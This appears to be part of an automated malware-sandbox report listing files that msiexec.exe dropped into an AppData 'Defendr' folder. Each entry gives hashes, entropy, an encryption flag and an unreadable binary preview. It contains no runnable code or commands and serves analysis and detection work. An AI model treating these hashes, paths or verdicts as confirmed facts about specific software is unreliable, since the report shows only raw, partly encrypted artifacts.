Preview:	.#D...e..,...!G...A..Z\.Zs..s.....n...H.n..]...f..7.9x.R8......N....@DiJ.MHYD.f9..:..y.r....a.Np.V..bQ#......."l.....4,P."pe...>...>..x+.....yC..)A./P..\|..E...V....(G.m\|...s.m.h/..q..yP..\...64.;..sZ-Y..4"..0+m..........4...oO.cb.....M..........,..Q...=8.E..pm.9.......6..s.].......BZ..{I<f)h.....\|.~..-.y!...Pn..%.R.......\|............kF..z....nZ\q.i{...$...jV.\y.Bw....,o!,..\.....8.....K+..O.^...Ia....dI.?rK.Dp8f.Qs..&...8...#=1.<.....0..(....Z.thXq\|....4Z3t.....kY...h..?..._.Uw./......3 .........}..H....U...%.Rs...p.:...8HK@...m...OgW#(.F..(L...dI.~0M.....(.q..J..8S.....)..t.6......>h.5.5 ...N-....3 .Ky}X..C-....]...+..Lyk....?....u.F;Y...D.....?.L_..qT....:y(r.].I.r\|...;._=."$.0.\|.....sS......N..../S.,...[..S...O...".B...,...jV..Z.T.n.F~b.R...=.x...\.Cf.e..``.:8..$...&.4.....C..l.R...X.lLF.`yZ..\\V._...\|5...V.....A..O....\|.;v..D47).%."Cdw..]...K#.+I.......;hEC......8..8.l.6.i.+.G.n;...Y.-aO5..N......S...Z...z.X..*.y.&$

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv46.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	87089
Entropy (8bit):	7.997443715084655
Encrypted:	true
SSDEEP:	1536:k8LUgVYfcS3/AvCcvyQ8FZPXYjkdzrMTfOEvXcc/KjRqVGeS5owgq1O:bxccSPmv/8FeodzAz+cCjRqfatgL
MD5:	9FB28A483FE0F6E313424ADC933F2018
SHA1:	D9A04488876058281DDB52E8CBCEE17E65FD38CD
SHA-256:	844CAE30A329226B37557F2A4F5E3EC39B9BA5668F0FD85535121D17EB05D051
SHA-512:	EF21FBAA9F5DA834F2A0996A2CDDE8E94CD061A25B11BA75A3FBD57A04BC01B6F315043058D4878FE0B7E751877D93A84441B7162ADA4B99AB93322FEE8B51DB
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..P..(.i:..V&..o$5..f...`#'..F.....+..y\|qN......Y.l@..._..E. ...N.;D@.2.5..l._....n.k.U.).E....1.R..l6..m..u...!.ZJ.......ZUb._...'.......g....];.I.-.Z#..G..oU`.-.!/..`.\)7.,z.~/...K......l...7.....@.,s@.T.@] 4#..[..b.F..5h$t......O.D.......NC..w...(.mC.G....^}.J.#."7:.......9..^..G\.6....W..U.Z.<.wI.../\&C].....H....!;.-U...!........Ay.(P..k.........w.bE...?.L...W......z.fe......I2...d..y.n..N..F.T=...[....Bzm.8.cD.YV....Y.NR.....pS..=.G..7.Q.k.bHH.....~sv5gC.$..ns69+..i..........a.]..Z0..O...T...2.\.......Z....?.....E.0./..e+.?hDV..5H..`..B`Y.3T...........TS.dE+..1y..C.9.<...f..E.K:...R.a.....q.......ga..X....!"..BW.B../.2A.661....y..C.....r,.Y.V+..U}Z..j.2R......P....[`y.>s?.w.....N4..z.jDKc..#.X.q.(<;..h.p>#9.Y.V\|......X.m.:^..(.F.m.R.....{.K..........KY.c...e^..A]SN,1.S....ow......P.c..}...d.`59V.E\|.D.(....6.gmi..$..}..Bv!.d"Q.......m.HR$w!.....;...X{s.b!.;...VV......6.1...c...8...z..0.zke..K..2K.

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv46.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	19144
Entropy (8bit):	7.989739913507628
Encrypted:	false
SSDEEP:	384:1Fr1b+1SUYj7Jb4sSC/bydlgqaSMBYRy8dhzRuI27y8OYRMHfw:1/GSUYeH4qa7Yx27y8Yfw
MD5:	0CF5444E3F86C21B31BDE867F575EEAB
SHA1:	D81B7FB4178FDBD274DC36713A95B85F7B2CF260
SHA-256:	7C9437E6BCA2A03FB75E5EE49F4215BC96FC295FB0C2CA3311FB61559763B5EF
SHA-512:	D0F1DD79EF572E3BB3B01F454914957D7E2D80494FECC025286CE2A87AA8E370337D47EB8CDB85E7CDEA9D841C46BC4A9E1AC831B0DF1B32512B689EBC429F09
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..P..(.i:..V&..o$5..f...`#'..F.....+..y\|qN......Y.l@..._..E. ...N.;D@.2.5..l._....n.k.U.).E....1.R..l6..m..u...!.ZJ.......ZUb._...'.......g....];.I.-.Z#..G..oU`.-.!/..`.\)7.,z.~/...K......l...7.....@.,s@.T.@] 4#..[..b.F..5h$t......O.D.......NC..w...(.mC.G....^}.J.#."7:.......9..^..G\.6....W..U.Z.<.wI.../\&C].....H....!;.-U...!........Ay.(P..k.........w.bE...?.L...W......z.fe......I2...d..y.n..N..F.T=...[....Bzm.8.cD.YV....Y.NR.....pS..=.G..7.Q.k.bHH.....~sv5gC.$..ns69+..i..........a.]..Z0..O...T...2.\.......Z....?.....E.0./..e+.?hDV..5H..`..B`Y.3T...........TS.dE+..1y..C.9.<...f..E.K:...R.a.....q.......ga..X....!"..BW.B../.2A.661....y..C.....r,.Y.V+..U}Z..j.2R......P....[`y.>s?.w.....N4..z.jDKc..#.X.q.(<;..h.p>#9.Y.V\|......X.m.:^..(.F.m.R.....{.K..........KY.c...e^..A]SN,1.S....ow......P.c..}...d.`59V.E\|.D.(....6.gmi..$..}..Bv!.d"Q.......m.HR$w!.....;...X{s.b!.;...VV......6.1...c...8...z..0.zke..K..2K.

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv47.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	89125
Entropy (8bit):	7.998059583264308
Encrypted:	true
SSDEEP:	1536:3VbDgMEb5eSQUmNQnPmYBbU5/VqU1H1X1/1wenEm0IHEbd3pzDqBOot/8MVnW0YZ:3V5IjQnNiPmYxm/L1Z1wenEEEbj0p58F
MD5:	80D5F631C0C99F56A4F95A4398D5753F
SHA1:	A05A2BACCB9C0C2C412D83246FE2E8BAB03AE801
SHA-256:	9C67AABD5894663D4A71D7605753681861C4807A113E554ED5EFE3A6637B57F2
SHA-512:	D1E07976B24BF196E90CCA67178734EB01C704F40562FF62B735C4CFDA2606CB106345041876C7625ADE4737123DDD966FE4C7122A1033B08FC856F299B2C787
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..P..(.i:..V&..o$5..f...`#'..F.....+..y\|qN......Y.l@..._..E. ...N.;D@.2.5..l._....n.k.U.).E....1.R..l6..m..u...!.ZJ.......ZUb._...'.......g....];.I.-.Z#..G..oU`.-.!/..`.\)7.,z.~/...K......l...7.....@.,s@.T.@] 4#..[..b.F..5h$t......O.D.......NC..w...(.mC.G....^}.J.#."7:.......9..^..G\.6....W..U.Z.<.wI.../\&C].....H....!;.-U...!........Ay.(P..k.........w.bE...?.L...W......z.fe......I2...d..y.n..N..F.T=...[....Bzm.8.cD.YV....Y.NR.....pS..=.G..7.Q.k.bHH.....~sv5gC.$..ns69+..i..........a.]..Z0..O...T...2.\.......Z....?.....E.0./..e+.?hDV..5H..`..B`Y.3T...........TS.dE+..1y..C.9.<...f..E.K:...R.a.....q.......ga..X....!"..BW.B../.2A.661....y..C.....r,.Y.V+..U}Z..j.2R......P....[`y.>s?.w.....N4..z.jDKc..#.X.q.(<;..h.p>#9.Y.V\|......X.m.:^..(.F.m.R.....{.K..........KY.c...e^..A]SN,1.S....ow......P.c..}...d.`59V.E\|.D.(....6.gmi..$..}..Bv!.d"Q.......m.HR$w!.....;...X{s.b!.;...VV......6.1...c...8...z..0.zke..K..2K.

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv47.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	21103
Entropy (8bit):	7.99184395160347
Encrypted:	true
SSDEEP:	384:1FAWMNOXM3Le0eDPfrlvKhNHvbysE05FT2jBgf5HFzB5+gcJGaIlK2cN:1FMrLULlcHOiFTeKf4WM20
MD5:	7A962A158FAC54BEFD5EA4277A549457
SHA1:	414925688F195194FC8BF8363F75395EBFB6638E
SHA-256:	76EA5441F6A6D54B07B269CFEDB92802AE31C66ABDB1AF4FB9ADC822A5C56BB3
SHA-512:	626DB8B51CAF686AD08AE061E6AFD940A9B8304C5248E546D0425ED333673D1DA63897C75B68E06F015FC00DB0AD754364767FDF655EADA36C262D4DC0818E4C
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..P..(.i:..V&..o$5..f...`#'..F.....+..y\|qN......Y.l@..._..E. ...N.;D@.2.5..l._....n.k.U.).E....1.R..l6..m..u...!.ZJ.......ZUb._...'.......g....];.I.-.Z#..G..oU`.-.!/..`.\)7.,z.~/...K......l...7.....@.,s@.T.@] 4#..[..b.F..5h$t......O.D.......NC..w...(.mC.G....^}.J.#."7:.......9..^..G\.6....W..U.Z.<.wI.../\&C].....H....!;.-U......U._..(...&...l.F4.@..R ........~.....Q....P{.cM...K4..\|o.C....jQ..y.)..p.......J..a......j}.A$:......<.z&.?!u].h...E9.n....v.=.....X ..q.i.....#../"~...?5;....LK.(.&:b..n.<......ev.i.)>.4.....EU.^...%b .....aG..%..\|1ql..'O.M..:cs..w...P...tgkF....3.Dp@..z6$.9r..M:.";?..'>QQ.s.. ........C.)+<...!"/.._....}w.q.O..E.+....u.8r.wE.I.9.?.b.....e.a.....DHR..z..+y..-7O.5'...6...c...=v......X..C....m...........V....m..l..VZ"...8.Z...=.Q{z.v.i ....;&.Q....0x....7K.{Y.....M.M'r...,.....,....:3_.].qx..^.bm.[.a8.......7;.Y2..Y....lx.............\....=.1..u.Y.H.....m..."..aZg.Z.n..t.\|l..O .

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv48.3.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	85952
Entropy (8bit):	7.997723746290305
Encrypted:	true
SSDEEP:	1536:C+uxy76lXk9ZBFLYZmJuPx8u6nkVj20LobXHK0xwrhXC89cQ5iIxloOXZMnwN6:C+mg6leZBJuPyu6nkVjzobaZSQFoOXZc
MD5:	1AB21C5CE52A3B96BDD9CEAD9FDF91F2
SHA1:	C9DFD5ED7BE1A3FBEC25E571A2DDA485661DC50C
SHA-256:	7A41283A414F42D601DBCC159237BAB46053F34E54617E5B5C46F71DEC29D35E
SHA-512:	A8E2EB103DCA9B0BFD293C84D7E8B13C610BD28ABE697327AF4C6FF1FE5D5B693DED1D2D5AC8F853F96A527903E9D77B021C0844418044125A06EF2CDBDD32A7
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..P..(.i:..V&..o$5..f...`#'..F.....+..y\|qN......Y.l@..._..E. ...N.;D@.2.5..l._....n.k.U.).E....1.R..l6..m..u...!.ZJ.......ZUb._...'.......g....];.I.-.Z#..G..oU`.-.!/..`.\)7.,z.~/...K......l...7.....@.,s@.T.@] 4#..[..b.F..5h$t......O.D.......NC..w...(.mC.G....^}.J.#."7:.......9..^..G\.6....W..U.Z.<.wI.../\&C].....H....!;.-U...{w...<0.......N.r4..T..yZ..U..G.....r`?.}..A....'as..a....D..-W...!.A..P=..M.L........TY........[,..u...z`....4.T....2...j....aj.yy>....B...a.l.'..r#J..q.7&...9;!....V..>u...nA.-..:...69.=+U........i....h...K..s#..k@..VL.U....,.n.6S..}......`...e.}....G...?..%.w.M..9:..... ....-.^'+.t...........4/...<.....0G!..X.b._5.....Y3...NHf..d.G..M..7.b....8T.prgS...DK.erP..A...e.....d..I.V&rz9.}.'......W8Ij.-....l9.....#G.t(..&,....ytNoz...]2..k64+Z..M.........mOPX.;]...h.N.C&Q.V.....X.#.O.B\$..q....Cq.MgE..2.j9u.......r..r...U.k....1..8.b0.jW]!.UHN.....8.7..m.Pg~e..e..+X...{..1>~...FJV

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv48.4.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	66675
Entropy (8bit):	7.997200345251726
Encrypted:	true
SSDEEP:	1536:Zb5PfGKN+w1JgYWhXqYnMYsrhkLaLZjtGbEBd0sea5otHQqGrXi:ZNfGK7gFN2rhkLejqEB+ae6Xi
MD5:	BFF1266CB467298E1BF77139D09345E1
SHA1:	1FDD52F261E8A9B5FD57AF4EE2B8B7BB4EC99B7E
SHA-256:	A35D6A6DF0B4A1D66438B48317D31DF0926500CF03A439413B76C691559DD232
SHA-512:	ABD217D6A0FD94F20209CEDD9A0AF561CAD71DDEBC3B2D7BBB82BF0F9799D143489C9D312565871F29BD7DF54983F52A17F3F27562EAE7AAC8CCD487796C9D91
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..P..(.i:..V&..o$5..f...`#'..F.....+..y\|qN......Y.l@..._..E. ...N.;D@.2.5..l._....n.k.U.).E....1.R..l6..m..u...!.ZJ.......ZUb._...'.......g....];.I.-.Z#..G..oU`.-.!/..`.\)7.,z.~/...K......l...7.....@.,s@.T.@] 4#..[..b.F..5h$t......O.D.......NC..w...(.mC.G....^}.J.#."7:.......9..^..G\.6....W..U.Z.<.wI.../\&C].....H....!;.-U.....5.[.....Pf..V.z......L.#.z.`-I..!.N..u....pM.&..sDYX)U{ t.v_U.ML.w..eg.a.1......R.q...."..K.m..z...{.....`......uG...:...[.....`#....&p...2...x._-....!C...o..o.\..l ...Q.H..h9%.a..'.8.........S4=..Y..d...b...._.. .'..7.5...`@..0..@......cP.0E.....9....g...7\|n.%!a.&.Y`b.8.....A .....L...r...Q...R~..zZ[.3.....H@.c........K..<\|^...Q.0/[..@.<[..#....`?'gn.x..".....7.Z9z9..z.Q.o.....0..:7.O@.......2.gcb.Z0@.&.&..fH?.~...5.`a...s.B...J"B......q.t...!.#......".G......t.`..t..u...3.i.,..#Dz4...\|\|t...".Ll..Z..*..b.f.....`.c..H.K........'..B.k7..sd-O..j-..)Oe#.80#....;.Q..Cb'..r.Y..Smb..{

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv48.5.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	92378
Entropy (8bit):	7.99814110360773
Encrypted:	true
SSDEEP:	1536:tgnDfdhbCSGXIyETXN5YYY0JLgpaXw6Ued5488BBccIHkBrjAzcvO+z2onUmGa:tWXbCSGXtE9gpaXf4nB+HIrjAzcm+5UY
MD5:	2A8322657D20CCC866150BEBC9630AEB
SHA1:	083C0665D5F92BA9B9C0FA8ABD886FFDE99EA508
SHA-256:	BEF7BC80ADA71D2AD28950C5B2B291513E913B2A65A802CA0384E40759942274
SHA-512:	62B6E106F9E9C55FEB2A706C307005AD13B3C2D15A388088BECC34AEC3EF82D9F9E17E6AF75B5EBBCD3DAFF6EC22EAAAC240CE995B07495F251AFDEC13073A69
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..P..(.i:..V&..o$5..f...`#'..F.....+..y\|qN......Y.l@..._..E. ...N.;D@.2.5..l._....n.k.U.).E....1.R..l6..m..u...!.ZJ.......ZUb._...'.......g....];.I.-.Z#..G..oU`.-.!/..`.\)7.,z.~/...K......l...7.....@.,s@.T.@] 4#..[..b.F..5h$t......O.D.......NC..w...(.mC.G....^}.J.#."7:.......9..^..G\.6....W..U.Z.<.wI.../\&C].....H....!;.-U...!........Ay.(P..k.........w.bE...?.L...W......z.fe......I2...d..y.n..N..F.T=...[....Bzm.8.cD.YV....Y.NR.....pS..=.G..7.Q.k.bHH.....~sv5gC.$..ns69+..i..........a.]..Z0..O...T...2.\.......Z....?.....E.0./..e+.?hDV..5H..`..B`Y.3T...........TS.dE+..1y..C.9.<...f..E.K:...R.a.....q.......ga..X....!"..BW.B../.2A.661....y..C.....r,.Y.V+..U}Z..j.2R......P....[`y.>s?.w.....N4..z.jDKc..#.X.q.(<;..h.p>#9.Y.V\|......X.m.:^..(.F.m.R.....{.K..........KY.c...e^..A]SN,1.S....ow......P.c..}...d.`59V.E\|.D.(....6.gmi..$..}..Bv!.d"Q.......m.HR$w!.....;...X{s.b!.;...VV......6.1...c...8...z..0.zke..K..2K.

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv48.6.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	38466
Entropy (8bit):	7.995165443733207
Encrypted:	true
SSDEEP:	768:1/7cEIBwv+fMziSAhjeNhW5iJgAGXykYEZAA0vea6rosyz3sL36/:udfWA0Nhe4NA0veaBz8ru
MD5:	35EF6B79DA388875331B47C2EBC2F47E
SHA1:	C2600F156D2D9CB3A8B951A3C25D5C18BEE3B8B1
SHA-256:	3CBE601BE6588C29EC451529BA99FA9288EA2B9F06FAC2D9EA9FD2ABA17F8D2C
SHA-512:	86E6C72C1B197F91ADE214A0513936C1A46FB8FA26EDB03E2DA8967902EC76401BB613B3D2D987F77CF0692087AFCB01465BE5C1ACF67716757D69F4842A0DF2
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..P..(.i:..V&..o$5..f...`#'..F.....+..y\|qN......Y.l@..._..E. ...N.;D@.2.5..l._....n.k.U.).E....1.R..l6..m..u...!.ZJ.......ZUb._...'.......g....];.I.-.Z#..G..oU`.-.!/..`.\)7.,z.~/...K......l...7.....@.,s@.T.@] 4#..[..b.F..5h$t......O.D.......NC..w...(.mC.G....^}.J.#."7:.......9..^..G\.6....W..U.Z.<.wI.../\&C].....H....!;.-U...!........Ay.(P..k.........w.bE...?.L...W......z.fe......I2...d..y.n..N..F.T=...[....Bzm.8.cD.YV....Y.NR.....pS..=.G..7.Q.k.bHH.....~sv5gC.$..ns69+..i..........a.]..Z0..O...T...2.\.......Z....?.....E.0./..e+.?hDV..5H..`..B`Y.3T...........TS.dE+..1y..C.9.<...f..E.K:...R.a.....q.......ga..X....!"..BW.B../.2A.661....y..C.....r,.Y.V+..U}Z..j.2R......P....[`y.>s?.w.....N4..z.jDKc..#.X.q.(<;..h.p>#9.Y.V\|......X.m.:^..(.F.m.R.....{.K..........KY.c...e^..A]SN,1.S....ow......P.c..}...d.`59V.E\|.D.(....6.gmi..$..}..Bv!.d"Q.......m.HR$w!.....;...X{s.b!.;...VV......6.1...c...8....y/}.7.o........

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv48.7.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	89262
Entropy (8bit):	7.99808539753097
Encrypted:	true
SSDEEP:	1536:SBDbRlbqNtRyZzp9wPK2yZEpbykFf1hyM272MsOvupyNi4DsuuYh9sG:QX2dCx2yZYbXFf1w1vfBDwe+G
MD5:	AB299939F803241F523C0CB4D6B4D0C4
SHA1:	1D76A8DE56E56BADD3488B9DE1C6FCB58FC65074
SHA-256:	A5433FC2217D43866965AC1DD3400E09C43E69CA465DF4CE11AF778E77DA24E0
SHA-512:	1338BE1CCC39312928A8048F3D813A90F521E10FE01DE2141F80894F4413E2A026C8981F5A896132D6A6592313C3166C5E4628D3681258AAE3499B5E2344C9B0
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..P..(.i:..V&..o$5..f...`#'..F.....+..y\|qN......Y.l@..._..E. ...N.;D@.2.5..l._....n.k.U.).E....1.R..l6..m..u...!.ZJ.......ZUb._...'.......g....];.I.-.Z#..G..oU`.-.!/..`.\)7.,z.~/...K......l...7.....@.,s@.T.@] 4#..[..b.F..5h$t......O.D.......NC..w...(.mC.G....^}.J.#."7:.......9..^..G\.6....W..U.Z.<.wI.../\&C].....H....!;.-U.......j..:...].._.~h...H[2.W..H.(....<.Xo2.........!.=.7`..r..}..Z..y..T...N.[0...{kT.k....U@.\|.....<...U..[.2..iD..l#..X..Q..I.".Q..0fP...opoC..._nag..G...H.H...J.<..j..5.$,...U..IO..a...........q..m.....y=.oq...]e.{.t.......P...8q..yT{......@L....sq.$`..c3~.\....^.?r....W.+.A.;.Tu.`s..w&@e.i=.}.......C1b.....[w.s..X..7...0$b.....B.]...&N.../.t'l\yC.*k_.V.....\|..u.......T.R9.dUk..3j..I.6.L.c...I..r.x...+.>.!..-j....;.}...Cov..[mi&....R.vy7........k.fG)lJ...:..../ni.{....L1.M.."z.G.."f...40...`...w.ge.^..7..k...Q_..k.7..<K...P...gK....&p.9.u..z./...l.......^Q...q.n..A.F.......`.j......B.mr..;

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv48.8.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	33470
Entropy (8bit):	7.993865224775696
Encrypted:	true
SSDEEP:	768:1xo/WOGzsaLDQvG62vPagGSteIjjdGq1tYY2LsLpEZ+i:eWOGzsaLDQO6WFtjMsRu
MD5:	A95E284BBDCDCC82138270A29DE31376
SHA1:	FB4EB3AF050A86CF27A27B092EA086BB52F5BE07
SHA-256:	F9A5A71B000D9057942813FC2A61D8D5CD2415F5B60E75A1928D4D38EFEDE15F
SHA-512:	4AC1E3354F5FC2596D39B9E1887F06193795214D569A178AE3B3E35CEB706D2BCC10615FC92F7629DE0763F9B6C79B2479444C37388504CBFF37882421699AE5
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..P..(.i:..V&..o$5..f...`#'..F.....+..y\|qN......Y.l@..._..E. ...N.;D@.2.5..l._....n.k.U.).E....1.R..l6..m..u...!.ZJ.......ZUb._...'.......g....];.I.-.Z#..G..oU`.-.!/..`.\)7.,z.~/...K......l...7.....@.,s@.T.@] 4#..[..b.F..5h$t......O.D.......NC..w...(.mC.G....^}.J.#."7:.......9..^..G\.6....W..U.Z.<.wI.../\&C].....H....!;.-U.....'p..~AS.tR.W..o..?ug.....7....p.@..:D....k\$,l2^..I.{.;<.q"[Y..v..r?f.....:#....F.0...;..\|...U..&.t.>.........q.......4.)M..R.la.=....U\.uR&..K...L.D9_....D..?.].h{}.<.......z...&C.]y.;F./.N..T..bq..,..r.".#x6".......&...!..9Rd.k.i.W........D=..d........$....k(...%@..Y.(......tY..;.?>.cq....]6N......d...HJ..GS.x..T.......(.Z.DY!....C..C.pb..Q{..HE ......."..p.h...k....fTas.C..5k.3i4NC... .e:...j"Y7.x.k...4......as08.J...n....\H.....W.j;7-v..D....1o.E..../+..TQI..K.'..694....ze..'.gR....I.q\|..j.1....:y...u.....&M..s.j..{.>....,.5.-.r.f>L.^OZ..g......P..+...q...n.3:;I>fs.Y..>.b..1.

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv5.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	90055
Entropy (8bit):	7.99800317558275
Encrypted:	true
SSDEEP:	1536:BW6/qkkUUtEvO438Xq3tgPDnDfNScYDrcjO5H/kNMPE7AEbFAtqWuV7y33:oykUUtEvMqCnfUcYDrf/Qv/8qWEq
MD5:	44ECC1328F59A8E238B7CC0875D8676B
SHA1:	B8E208314A05A58B4C634B65786EAB5396E0A163
SHA-256:	ADA56B7CA45E461C08E8B3DAF1D3B0139ABC31B05DAAC06655FA8A4064D8667C
SHA-512:	E45EF02ECE30F63442A37D8E118C8EA2173B007526F1A8A59EBEFBA73098DA0EB2E3672478FCA75B929EB1D93E91932E5BF9E5275E5F656CD1CCF1BB9B8DEE15
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv5.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	22440
Entropy (8bit):	7.991781976298273
Encrypted:	true
SSDEEP:	384:BW6NhjvQ1XoKt/0bGVsZ7aq5u2DGqEb/LBphHZn4pQgYuxAgdzBnw:BW6NhrQ1Xoq1sgxLqEbLBD3gz1dq
MD5:	B0972A8D56CC2BC157A681D59FB35966
SHA1:	A0D9AC2EABBC73D8F157C7E1468DFF204AED7F02
SHA-256:	B04C2BB17C93C9D202514E8E83FB557F7CDA9197D916A9E786EF3C0D517DC412
SHA-512:	9A1E42597A89728B842CEC70CAF81194BC4CCA368A97BA22EAA31F6AD4DE9EC24911839050D1369D5A270F45355CD4AFEDE8430C0FE74E486759524779052A04
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv6.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	99229
Entropy (8bit):	7.998172009274098
Encrypted:	true
SSDEEP:	3072:oB70QLzwr4HrXnZZkbBYb3MBPBaqALCGUtJJ:i7PLzweXnZCm3MFwqMWJ
MD5:	C02DCB97546872D163EFF9D291CDBFD3
SHA1:	0BDA89EA75167768D9A08A1FA6ED6E1CC686EFEB
SHA-256:	03D9526D1AEF606B1FA43C127E7B1141AA568FADE454C1C0060BB9C732E0B626
SHA-512:	66E748A8560A8A2AFEFFB5A176E463B6B0A3E45152E97ED6B2C3E72C616AEC3746D7B5AEB8F87EA97E657C47914680171D7F12FC2221D6D2173533EEB2B45AA3
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv6.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	31788
Entropy (8bit):	7.994731967225481
Encrypted:	true
SSDEEP:	768:BW6N6D8t1j8MyZVPL7+dbD1VZMufi2LGxwxt7tno4moX:BW64YtBy21UQisGxwxtRGS
MD5:	7ACBE69D3B767E94BD59B48104364992
SHA1:	647C91290222513C2AB94FFB8A36F70FEFF265B6
SHA-256:	593CD5BA79A489C4388809E17EBCB32AF9B10EBC33C895955E13A06CE8F48C43
SHA-512:	EE5D2EF06A22F741167A5BEB219678BE65B9BFF4F258F0BDEC587DD9A1ACEDED199485B4664C9B870775B105AAB08916DD8FB36912C978030E55EE5A66B38648
Malicious:	false
